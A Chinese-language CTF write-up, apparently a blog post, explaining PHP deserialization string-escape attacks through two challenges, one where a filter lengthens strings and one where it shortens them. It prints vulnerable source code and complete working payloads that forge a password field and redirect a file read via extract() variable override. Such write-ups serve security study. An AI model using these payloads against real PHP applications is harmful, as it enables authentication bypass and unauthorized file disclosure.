首页 > 编程语言 >php 反序列化字符串逃逸

php 反序列化字符串逃逸

时间:2022-11-17 11:47:26浏览次数:36  
标签:function SESSION 序列化 img 逃逸 字符串 password php

这里总结一下反序列化字符串逃逸的知识点

反序列化字符串逃逸分为 被过滤后字符增多和字符减少的情况

这里就不讲之前的基础知识了 大家看其它师傅写的博客就可以了 很多师傅的文章写的都很细 现在直接就开始进入正题

现在先分析被过滤后字符串增多的情况 这里就那题来进行讲解

先看字符串增多的情况

[CTFSHOW]Web1此夜圆

给出了源代码

<?php
error_reporting(0);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
        if($this->password==='yu22x')
        {
            include('flag.php');
             echo $flag;
        }
        else
        {
            echo 'wrong password';
        }
    }
}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

一眼顶针

思路很简单 就是让password为yu22x 就和包含flag文件然后输出flag才可以

这里把password写死了 为1

但是这里用了filter函数 是想序列化之后的东西 过滤了一下

然后才进行了反序列化 这里是把Firebasky 替换为了Firebaskyup 属于字符串增多的情况

字符串增多的情况很简单就是把 我们需要的 反序列化之后的数据 写进去 然后把后面password为1 的数据挤出来可以

先随便看一下 序列化之后的东西

我们先传入个1 方便我们更加直观的分析

O:1:"a":2:{s:5:"uname";s:1:"1";s:8:"password";i:1;}

然后现在明确思路就是想把

";s:8:"password";i:1;}

这些东西挤出去

拼接我们想要的序列化的数据

我们想要的序列化的数据就是

";s:8:"password";s:5:"yu22x";}

因为把它挤出去之后我们就要紧接着去拼接它 使它可以正常的反序列化

所以现在我们要给 我们想要拼接的序列化数据腾位置 先计算他的数量 为30

然后没过滤一次就会挤出来两个字符所以我们就可以 使它过滤十五次就可以腾出来我们想要序列化的数据的位置了

然后拼接上我们伪造的反序列化的数据

看结果更加的明显 应该是可以说恍然大悟

所以payload就为

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

看经过过滤后的数据

O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

直接来分析过滤后的数据可能大家就能明白为什么要想上面那样做了

先来看一下

FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup

的数量为 165 正好为165

为什么为 165呢 因为

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

然后后面就是我们拼接的数据了

;s:8:"password";s:5:"yu22x";}

我们来分析一下过滤后的数据的结构

现在 序列化之后的属性的数量为2 所以他现在就会读取 前两个属性

FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}

后面的那个s:8:"password";i:1;} 就会被挤出来了

那现在打印一下反序列化之后的结果把

var_dump(unserialize('O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}'));

class __PHP_Incomplete_Class#1 (3) {
  public $__PHP_Incomplete_Class_Name =>
  string(1) "a"
  public $uname =>
  string(165) "FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup"
  public $password =>
  string(5) "yu22x"
}

这个字符串增多的情况 挤出来的还是比较简单的

接着来看字符串减少的情况

还是用例题来解释

[安洵杯 2019]easy_serialize_php

同样给出了源代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先还是分析代码

先找漏洞点把

    echo file_get_contents(base64_decode($userinfo['img']));

就是读取 base64解码之后的文件读的是 $userinfo['img']

那看userinfo 是怎么来的

反序列化之后的 $serialize_info

看 serialize_info 是怎么来的

filter(serialize($_SESSION)) 序列化

 $_SESSION

过滤来的

那就先看一下过滤把 把上面几个限制的字符过滤为了空 所以就是字符串减少的情况

现在就来看一下具体的SESSION是什么把

这里定义了 session user 和session function

但是呢 这里我们想要控制的是 session img

但是如果我们直接get的方式传入 img_path 的话 他就会进行 sha1 加密 导致 base64解码的时候就会产生错误 ’

所以我们不能够通过这种方式来控制 session img

就是要通过 反序列化字符串逃逸才可以

现在我们要注意 extract($_POST);可以覆盖变量

还是跟之前一样 先随便写个数据然后 方便我们观察分析
通过变量覆盖来 更改user 和function的值

_SESSION[user]=1&_SESSION[function]=2
a:3:{s:4:"user";s:1:"1";s:8:"function";s:1:"2";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们可以控制 1 和 2

image-20221116221104222

也就是这个

_SESSION[user]=php&_SESSION[function]=2
a:3:{s:4:"user";s:3:"";s:8:"function";s:1:"2";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

让他过滤一下看看效果

所以现在的思路就是让它全部替换为空把后面的东西 当作user的变量值 然后再后面 “2”的位置 写我们想要构造的 逃逸的字符串就可以 现在 a 类的是有三个属性 所以只会接受前三个值 最后一个 固定的img 就会被忽略

现在我们先计算一下 两个可控点中间的数量

";s:8:"function";s:1:"

为 22

但是无论通过三的倍数 还是四的倍数 或者是组合起来 的 就 构成不了 22

但是 这里我们 “2“是可控的 所以这里我们可以 加上两个字符变为 24个字符 就可以 了

";s:8:"function";s:1:"22

通过 写入 六个 flag 现在看一下效果

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

我们发现

这个长度为 24

image-20221117110959534

然后后面就为 第二个属性 但是前面的属性是有三个 然后 我们这里只有两个 所以我们随便在后面添加一个属性就可以了

那我们现在输入

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"iag";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

就会变成这个样子

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"iag";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

然后就可以进行反序列化了

因为这几个base64编码之后都是20 所以直接改文件名就可以了

总结

字符串增多的情况

就是先计算想要拼接的数据的数量 然后拼接进去 把后来的挤出去就可

字符串减少的情况 就是 计算可控前后的之间字符串的数量 然后把后面一部分序列化之后的东西全部当键值

再在后面拼接自己恶意构造的序列化之后的数据

总的来说还得考具体情况具体分析

标签:function,SESSION,序列化,img,逃逸,字符串,password,php
From: https://www.cnblogs.com/kkkkl/p/16898932.html

相关文章

  • Java IO流--对象流ObjectInputStream和ObjectOutputStream及对象序列化机制的理解
    博主前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住也分享一下给大家,......
  • CTFshow刷题日记-WEB-PHP特性(下篇123-150)
    web123,125,126error_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['C......
  • 010005 PHP 第一个计算长方体的体积公式
    <?phpheader('Content-Type:text/html;charset=utf-8');include'./assets/php/head.php';/***第一个计算长方体的体积公式*已知长是40-10,宽是30+20,高是35*2......
  • php面向对象 final关键字
    //final修饰的类无法被子类继承finalclasshuman{}classmanextendshuman{}$m=newman();//Fatalerror:Classmanmaynotinheritfromfinalclass(human)//......
  • php的几种输出函数
    php输出函数函数名功能描述echo()输出字符串print()输出一个或多个字符串print_r()打印关于变量的易于理解的信息printf()输出格式化字符串sprintf()......
  • apache启动遇到phpinfo只显示源码问题
    在安装php和apache的时候,会遇到只显示源码的问题网上找了好多帖子都是在改php.ini的东西,但是改了半天也不对,发现我安装的wordpress目录也打不开,所以我认为这就是apache服......
  • PHP数组知识点整理
    */*Copyright(c)2016,烟台大学计算机与控制工程学院*Allrightsreserved.*文件名:text.cpp*作者:常轩*微信公众号:Worldhello*完成日期:2016年8月11日*版本号:V1......
  • Docker-compose 安装 Nginx PHP MySQL
    1、创建mkdir-p/docker/wwwmkdir-p/docker/nginx/conf.d/2、配置vimnginx/conf.d/default.confserver{listen80;server_namelocalhost;location/{......
  • php 动态调用方法
    $searchActionArr=['1'=>'searchAlbumList','2'=>'searchUser','3'=>'searchActivityList',];if(filled($searchActionArr[$searchType])......
  • PHPSTORM调试
    1.、调试环境:服务器:本地vmware虚拟机安装centos7.9主机:win10IDE:PHPSTORM2021ThinkPHP:6.0PHP:7.4XDEBUG:3.1.62、安装XDEBUG插件到服务器(具体百度)3、php.ini配置如下......